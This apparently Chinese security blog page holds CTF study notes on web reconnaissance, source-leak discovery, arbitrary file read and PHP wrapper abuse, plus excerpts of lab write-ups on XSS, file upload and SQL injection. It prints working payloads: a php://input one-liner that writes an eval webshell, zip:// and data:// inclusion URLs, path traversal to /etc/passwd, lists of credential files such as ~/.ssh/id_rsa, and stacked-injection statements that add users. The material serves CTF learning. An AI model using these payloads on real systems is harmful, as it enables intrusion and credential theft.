Fork me on GitHub

从0到1:CTFer成长之路-第一章 Web入门 Sticky

0x00 信息收集

1. 分类

1.1敏感目录泄露

(1)git泄露

  1. 常规git 泄露
    参赛者通过运用现成工具或者编写的脚本即可获取网站源码或flag
  2. git回滚
    当题目存在git 泄露时,flag(敏感)文件可能在修改中被删除或覆盖了,利用git reset命令来恢复到以前的版本。除了使用 git reset,更简单的方式是通过 git log-stat 命令查看每个commit修改了哪些文件,再用git diff HEAD commit-id 比较在当前版本与想查看的commit 之间的变化。
  3. git 分支
    可以使用git log 查看在当前分支上的修改,现在大多数现成的git泄露工具都不支持分支,有一款叫GitHacker的工具可以使用,链接是:https://github.com/WangYihang/GitHacker。使用时执行命令`python GitHacker.py http://127.0.0.1:8000/.git/` 。运行后,我们在本地可以看到生成的文件夹,进入后执行git log –all 或者git branch -v ,只能看到master分支的信息。如果执行git reflog 命令,就可以看到一些checkout 的记录。
  4. git 泄露的其他利用
    如.git/config 文件夹中可能含有access_token信息,从而访问这个用户的其他仓库。
    (2) SVN泄露
    SVN也是源代码版本管理软件,造成SVN源代码漏洞的主要原因是管理员操作不规范将SVN隐藏文件夹暴露在外网环境,可以利用.svn/entries或者wc.db文件获取服务器源码等信息。推荐工具:https://github.com/kost/dvcs-ripper,Seay-svn
    (3)HG泄露
    在初始化项目时,HG会在当前文件夹下创建一个.hg隐藏文件夹,其中包含代码和分支修改记录等信息。推荐工具: https://github.com/kost/dvcs-ripper
    (4)总结经验
    CTF线上比赛往往会有重定向问题,只要访问.git,便会返回403,此时试探访问.git/config,如果有文件内容返回,就说明存在git泄露,反之不存在。
1.2 敏感备份文件

(1)gedit备份文件
在linux中,用gedit编辑器保存后,当前目录下会生成一个后缀为~的文件,其内容就是刚编辑的内容,假设刚才保存的文件名为flag,则该文件名为flag~,通过浏览器访问即可得到源码。

(2)vim 备份文件
当用户使用vim编辑时,如果意外退出,会在当前目录下生成一个备份文件,文件格式为 .文件名.swp,该文件用来备份缓冲区中的内容即退出时的文件内容,针对这个备份文件,我们可以使用 vim -r 命令恢复文件的内容。

(3)常规文件
包括 robots.txt ,readme.md ,www.zip/rar/tar.gz 等文件,主要要依靠字典的强度。

(4)总结经验
在CTF线上比赛中,出题人往往会在线运维题目,有时会因为各种情况导致SWP备份文件的生成,所以在比赛过程中可以编写实时监控脚本,对题目服务进行监控。
vim 在第一次意外退出时生成备份文件*.swp,第二次为*.swo,第三次为*.swn,以此类推,vim官方文档中还有*.un.文件名.swp类型的备份文件。
在实际环境中,网站的备份往往是网站域名的压缩包。

1.3 Banner识别

一个网站的banner信息(服务器对外显示的一些基础信息)对解题有很重要的作用,也可以叫指纹,包括一些CMS框架的漏洞,可以网上直接搜索利用。
(1)自行搜集指纹库
Github中有大量成型公开的CMS指纹库,包括一些扫描的工具。
(2)使用已有的工具
例如 Wappalyer工具,不仅有python版,还有浏览器插件
(3)总结经验
在进行服务器的Banner信息探测时,除了通过上述两种常见的识别方式,可以尝试随意输入一些URL,有时可以通过错误信息显示更多的信息。

0x01 CTF中的SQL注入

SQL 注入之前专门写过,请 点击这里

0x02 任意文件读取漏洞

所谓文件读取漏洞,就是攻击者通过一些手段可以读取服务器上开发者不允许读到的文件。从整个攻击过程看,是信息收集的补充。

1. 文件读取漏洞常见触发点

1.1Web语言

(1)PHP
PHP中有关文件读的文件包括但不限于:file_get_contents()、file()、fopen()函数(及其文件指针操作函数fread()、fgets()等),与文件包含相关的函数(include()、require()、include_once()、require_once()等),以及通过PHP读文件的执行系统命令(system()、exec()等)。
除了上面提到的标准库函数,很多常见的PHP扩展也提供了一些可以读取文件的函数,例如,php-curl扩展(文件内容作为HTTP body)涉及文件存取的库(如数据库相关扩展、图片相关扩展)、XML模块造成的XXE等。
与其他语言不同,PHP向用户提供的指定待打开文件的方式不是简单的一个路径,而是一个文件流。我们可以将其简单理解成PHP提供的一套协议。在PHP中有很多功能不同但形式相似的协议,统称为Wrapper,其中最具特色的协议便是php://协议,而且PHP提供了接口供开发者编写自定义的wrapper。除了wrapper,PHP中另一个具有特色的机制是Filter,其作用是对目前的wrapper进行一定的处理(如把当前文件流的内容全部变为大写)。
假设服务端的include 函数的路径参数可控,正常情况下它会将目标文件当作PHP文件去解析,如果解析文件存在<?php等PHP的相关标签,那么标签内就会被当作PHP代码执行。
如果将这种含有PHP代码的文件的文件名传入include函数,那么由于PHP代码被执行而无法通过可视文本的形式泄露,但这时可以通过使用Filter避免这种情况的发生。
例如比较常见的Base64相关的Filter可将文件流编码成Base64的形式,这样读取的文件内容中就不会存在PHP标签,而更严重的是,如果服务端开启了远程文件包含选项allow_url_include,我们就可以直接执行远程PHP代码。PHP默认的Wrapper和Filter都可以通过php.ini禁用。
在遇到的有关PHP文件包含的实际问题中,我们可能遇到三种情况
1. 文件路径前面可控,后面不可控:在较低的PHP版本及容器版本中可以使用“\x00”截断,对应的URL编码是%00.当服务端存在文件上传功能时,也可尝试利用zip或phar协议直接进行文件包含进而执行PHP代码。
2. 文件路径后面可控,前面不可控:可以通过符号“../”进行目录穿越来直接读取文件,但这种情况无法使用wrapper,如果服务端是利用include等文件包含类的函数,我们将无法读取php文件中的PHP代码。
3. 文件路径中间可控:和第一种情况类似,但是无法利用wrapper进行文件包含。

(2)Python
与PHP不同的是,Python的Web应用更多地倾向于通过其自身的模块启动服务,同时搭配中间件、代理服务将整个Web应用呈现给用户。

漏洞经常出现在框架请求静态资源文件部分,也就是最后读取文件内容的open函数,但直接导致漏洞的成因往往是框架开发者忽略了Python函数的feature,如os.path.join()。很多开发者会判断用户传入的路径不包含.来保证在读取资源时不会发生目录穿越,随后用户的输入代入os.path.join()的第二个参数,但如果用户传入“/”,则依然可以穿越到根目录,导致任意文件读取。 CTF中,python开发者调用不安全的解压模块进行文件压缩,而导致文件解压后可进行目录穿越,可以覆盖服务器已有文件。 还有一种情况是攻击者构造软链接放入压缩包,解压后的内容会直接指向服务器相应文件。

(3)Java
除了Java本身的文件读取函数FileInputStream、XXE导致的文件读取,Java的一些模块也支持file://协议,这是Java应用中出现任意文件读取最多的地方,如Spring Cloud Config Server路径穿越与任意文件读取漏洞(CVE-2019-3799)、Jenkins任意文件读取漏洞(CVE-2018-199902)等。

(4)Ruby
CTF中,Ruby的任意文件读取漏洞通常与Rails 框架相关,到目前为止,我们已知的通用漏洞为 Ruby On Rails远程代码执行漏洞(CVE-2016-0752)、Ruby On Rails路径穿越与任意文件读取漏洞(CVE-2018-3760)、(CVE-2019-5418)。

(5)Node
目前已知的Node.js的express模块曾存在任意文件读取漏洞(CVE-2017-14849),CTF中Node的文件读取漏洞通常为模板注入、代码注入等。

1.2 中间件/服务器相关

(1)Nginx错误配置
常与Python-Web应用一起出现,因为Nginx一般被视为Python-Web反向代理的最佳实现。如果它的配置文件粗偶,就容易造成严重问题,例如

1
2
3
location /static{
alias /home/myapp/static/;
}

如果配置文件包含上面这段话,很可能是运维或开发人员想让用户可以访问static目录。但是如果用户请求的web路径是/static../,拼接到alias上就变成了/home/myapp/static/../,此时便会产生目录穿越漏洞,并且穿越到了myapp目录。这时,攻击者可以任意下载python源代码和字节码文件。漏洞的成因是location最后没有加“/”限制。

(2)数据库
可以对文件进行读取操作的数据库很多,以MySQL为例。
MySQL的load_file()函数可以文件读取,但是要首先数据库配置FILE权限(root用户一般有),其次需要执行load_file()函数的MySQL用户对于目标文件具有可读权限,主流Linux系统还需Apparmor配置目录白名单。
还有一种方式,这种方式需要执行完整的SQL语句,即load data infile。需要FILE权限,比较少见。

(3)软连接
bash 命令 ln -s 可以创建一个指向文件的软链接文件,然后将这个软链接文件上传至服务器,当我们再次请求访问这个链接文件时,实际上是请求在服务端它指向的文件。

(4)FFmpeg
FFmpeg被爆出存在任意文件读取漏洞。

(5)Docker-API
Docker-API可以控制Docker的行为,Docker-API通过UNIX Socket通信,也可以通过HTTP直接通信,当我们遇见SSRF漏洞时,尤其是可以通过SSRF漏洞进行UNIX Socket通信时,就可以通过操纵Docker-API把本地文件载入Docker新容器进行读取。

1.3 客户端相关

客户端也存在文件读取漏洞,大多数是基于XSS漏洞读取本地文件。
(1)浏览器/Flash XSS
一般来说,很多浏览器会禁止JavaScript代码读取本地文件相关操作,如请求一个远程网站,如果它的JS代码中使用File协议读取客户的本地文件,那么此时会由于同源策略导致读取失败。但有例外,Safari浏览器有一个客户端的本地文件读取漏洞。

(2)MarkDown语法解析器XSS
与XSS相似,MarkDown解析器也具有一定的解析JS的能力,但是这些解析器大多没有像浏览器一样本地文件读取的操作进行限制,很少有与同源策略类似的防护措施。

2.文件读取漏洞常见读取路径

2.1 Linux

(1)flag名称(相对路径)
比赛过程中,有时爆破一下flag名称便可得到答案
image.png

(2)服务器信息(绝对路径)
下面列出CTF线上赛中常见的部分需知目录和文件。

1. /etc目录:多是各种应用或系统配置文件,所以其下的文件是进行文件读取的首要目标。
2. /etc/passwd:是Linux系统保存用户信息及其工作目录的文件,权限是所有用户/组可读。
3. /etc/shadow:是Linux系统保存用户信息及(可能存在)的密码(hash)的文件,权限是root用户可读写、shadow组可读,一般不可读。
4. /etc/apache2/\*:是Apache配置文件,可以获取Web目录、服务端口等信息。
5. /etc/nginx/\*:是Nginx配置文件(Ubuntu等系统),可以获知Web目录、服务端口等信息。
6. /etc/apparmor(.d)/\*:是Apparmor配置文件,可以获知各应用系统调用的白名单、黑名单。例如通过读配置文件查看MySQL是否禁止了系统调用,从而确定是否可以使用UDF(User Denfined Functions)执行系统命令。
7. /etc/(cron.d/\*|crontab):是定时任务文件,有些CTF题目会设置一些定时任务,读取这些配置文件就可以发现隐藏的目录或其他文件。
8. /etc/environment:是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露情况。
9. /etc/hostname:表示主机名
10. /etc/hosts:是主机名查询静态表,包含指定域名解析IP的成对信息。可以探测网卡信息和内网IP/域名。
11. /etc/issue:指明系统版本
12. /etc/mysql/\*:是MySQL配置文件。
13. /etc/php/\*:是PHP配置文件。
14. /proc目录:通常存储进程动态运行的各种信息,本质上是一种虚拟目录。如果要查看非当前进程的信息,pid是可以进行暴力破解的,如果要查看当前进程,只需/proc/self代替/proc/\[pid\]/ 即可。对应目录下的cmdline可读出比较敏感的信息,如使用mysql-uxxx-pxxxx登录MySQL,会在cmdline中显示明文密码。有时我们无法获取当前应用所在的目录,通过cwd命令可以直接跳转到当前目录:/proc/\[pid\]/cwd/,环境变量中可能存在secret_key,这时也可以通过environ进行读取:/proc/\[pid\]/environ
15. 其他目录:
1
2
3
4
5
6
7
8
9
Nginx配置文件可能存在其他路径:  /usr/local/nginx/conf/*
日志文件: var/log/\*
Apache默认Web根目录: /var/www/html/
PHP session目录:/var/lib/php(5)/sessions/
用户目录:
~/.bash_history(泄露历史执行命令)
~/.bashrc(部分环境变量)
~/.ssh/id_rsa(.pub)(ssh登录私钥/公钥)
~/.viminfo (vim使用记录)。
2.2 Windows

windows 系统下的web应用任意文件读取漏洞在CTF赛题中不常见,但windows与PHP搭配使用有个问题:可以使用<等符号作为通配符,从而在不知道完整名的情况下进行文件读取。

补充:include(),和 include_once()、require()、require_once()函数,当访问到的php文件中包含这两个函数时,可能会有文件包含漏洞,file://文件协议,访问 https://www.xxxxx.com/upload.php?show=file://D:/WWW/123.txt 这种形式,只要知道准确路径,就可以任意读取文件。file://协议在读取本地文件时不需要allow_url_fopen和allow_url_include参数开启,如果读取网络文件需要开启。file://http:xxx/a.php。这几个函数也会将不是php的文件当作php执行。
php伪协议。作用是访问各个输入输出流,常用的是php://filter 和php://input,前者用来读取源码,后者用来执行代码。当enctype=”multipart/form-data”的时候,php://input是无效的。php://filter各个参数:
image.png
https://localhost/update.php?file=php://filter/convert.base64-encode/resource=./shell.txt –例子,将shell.txt中的内容用base64编码输出,如果shell.txt中已经是base64编码,可以使用php://filter/convert.base64-decode/resource=./shell.txt将文件解码并将以php执行。

php://input,是当Content-Type不等于multipart/form-data的时候可以获取原始请求数据的方法。经过测试,发现还需要开启allow_url_include开关,allow_url_fopen开不开启无所谓。请求方式是GET和POST都可以。include(),和 include_once()、require()、require_once()四种函数都可以执行,执行形式看表:
image.png
在show参数后面写入php://input,表明读取原始数据,在data数据出写入想要执行的php代码,例如<?php phpinfo();?>查看phpinfo界面,或者<?php fputs(fopen("1.php", "w"), "<?php @eval($_GET[cmd]);?>");?>写入一句话木马。

还有一种方法,例如函数中不是include()等函数,而是有eval(file_get_contents('php://input'));的函数,可以自己创造,在data处直接写php代码即可。如图:
image.png

zip://伪协议,这个方法不需要开启allow_url_fopen和allow_url_include参数,我们先向服务器上传一个zip文件,zip文件中包含一个一句话小马,如果服务器不支持上传zip文件,可以将后缀名改成别的,例如jpg这些,在解析的时候还是会当作zip解析的。整个文件的目录结构为upload.zip中有一个shell.php文件,文件中写入一句话:<?php @eval($_GET['cmd']);?>,访问方式为:http://localhost/send.php?show=zip://upload.zip%23shell&cmd=phpinfo(); 其中zip://后面跟着上传的zip文件路径,然后使用%23隔开,%23也就是#号,再后面跟上其中的文件名,使用&获取文件中的参数cmd,输入想要的命令。

data: //伪协议,这个协议需要同时开启allow_url_fopen和allow_url_include这两个参数,原理是允许将字符串传递给包含函数,使用方法很简单:http://localhost/send.php?show=data:text/plain,<?php phpinfo();?>会返回phpinfo页面。include(),和 include_once()、require()、require_once()四种函数都可以执行。

python (Django)静态资源逻辑配置错误导致的文件读取漏洞,php配置的网站目录是按照文件夹的路径访问网站的,但是Django的网站路径可以自己配置,在项目文件夹下面的urls.py文件中,urlpatterns=[re_path('^login/$', views.LoginView.as_view(), name='login')]在url后面输入/login/就可访问,但是要访问一些js,css文件的话,自定义又很麻烦, 于是在网站配置的时候可以创建一个static文件夹,将静态文件放到这个文件夹中,而视图界面python文件中views.py中要是配置不得当,不对输入的文件名做检测的话,就会产生漏洞。利用规则path=/static/../../../../../etc/passwd但是如果对文件后缀名进行了过滤,可以访问__pycache__这个文件夹,其中pyc字节码 文件的命名规则是:[module_name]+".cpython-3+[\d](python3小版本号)+".pyc"这是原本文件的缓存,获取了pyc字节码文件后,对这个文件进行反编译,审计代码是否存在漏洞。反编译推荐工具uncompyle6,github地址为:https://github.com/rocky/python-uncompyle6。

0x02 常用渗透工具 Sticky

3.1 SQLMap 详解

sqlmap 是一个自动化的SQL注入工具,内置很多绕过插件,支持市面上大多数据库。一般采用五种SQL注入技术。

布尔盲注:根据返回页面判断条件真假的注入

时间盲注:根据页面返回时间判断

报错注入:页面会返回错误信息

联合查询注入:使用 Union 的情况下注入

堆查询注入:执行多条语句的注入

sqlmap 中有数据库指纹识别、数据库枚举、数据提取、访问目标文件系统。

阅读更多...

0x04 PowerShell 攻击 Sticky

6.1 PowerShell技术

常用的powershell 攻击工具

powersploit : 常用的后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化控制等操作。

Nishang: 集成了框架、脚本和各种payload,包含下载和执行、键盘记录、DNS、延时命令等脚本。

Empire:基于powershell 的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息

powercat

阅读更多...

0x03 Web安全原理剖析 Sticky

4.3 SQL注入

内容可以看我之前写的 sqli-labs注入, 链接是: http://limbus.top/categories/网络安全/SQL注入/

4.3.2 XFF注入攻击

请求头的X-Forwarfed-For注入。代表了客户端的真实IP。通过修改X-Forwarded-For的值可以伪造客户端IP。修改XFF和其他部位修改一样。

4.3.3 防止SQL注入

使用过滤语句,用正则匹配过滤

阅读更多...

0x00 信息收集 Sticky

1.收集域名

whois 查询:whois 是一个标准的互联网协议,收集域名注册人信息,IP地址等。
kali  直接 whois xxxx.com , 网站有 https://whois.aizhan.com、 http://whois.chinaz.com、 https://www.virustotal.com

备案信息查询: ICP备案查询网:http://www.beianbeian.com
                                天眼查  :http://www.tianyancha.com

2.收集敏感信息

Google语法:site(域名)、inurl(url中关键字)、intext(网页中正文)、filetype(文件类型)、intitle(标题关键字) link(返回查询语法的做了链接的url)、 info(一些站点的基本信息)、cache(缓存)

github 中搜索一些关键的key
阅读更多...

xss-labs漏洞练习 Sticky

上一次我们练习了文件上传的漏洞,今天我们来看看这个xss跨站攻击漏洞,这个漏洞的作用就是通过在web 站点,向客户端交付恶意脚本代码,实现对客户端的攻击。

xss漏洞分为反射型,存储型,DOM型

第一关:

我们先来查看这一关,看到链接后面有一个name=test,当我们改变后面的值,发现页面里面的值也改变了,所以页面的值是由get的链接后面的name值来控制的。我们尝试在name后面输入最简单的xss, <script>alert(1);</script>,发现直接过关了。说明已经触发了xss漏洞。这个是在get链接里面控制的,所以这是个反射性漏洞。

阅读更多...

文件上传训练 Sticky

在做完了sqli-labs 之后,咋们来看看这个上传文件的题。

第一关:

他的界面直接提示着,请选择上传的图片,肯定就会有过滤的,咋们先上传一个.php文件试试水。果然,报错了,说是上传jpg,gif,png 格式的文件,好办,去bp上修改一下,查看源码,这儿是前端验证。如果是前端验证,咋们就把php文件的后缀改为他支持的格式,然后在bp 上再改回来就欧克了。

上传成功,然后用菜刀连接,直接连接成功。

阅读更多...

Sqli-labs注入训练(page-3) Sticky

Less-38:Less-39:Less-40:Less-41:

这几关都是堆叠注入的应用,堆叠注入,顾名思义,就是使用分号将注入语句分开,多次注入,创建新的用户,或者删除用户,创造无限可能。但是需要知道一些数据。

他也有很多的局限性,比如权限不够,或者收到api或数据库引擎的限制。oracle数据库不支持堆叠注入。

构造payload

添加用户 ?id=1';insert into users(id,username,password) values ('30','skk','skkhj')--+ 后面的值一定要用引号引起来。

更新用户?id=1;update users set password='zjwdqc' where id=30--+

阅读更多...
  • Copyrights © 2023 Limbus
  • Visitors: | Views:

请我喝杯茶吧~

支付宝
微信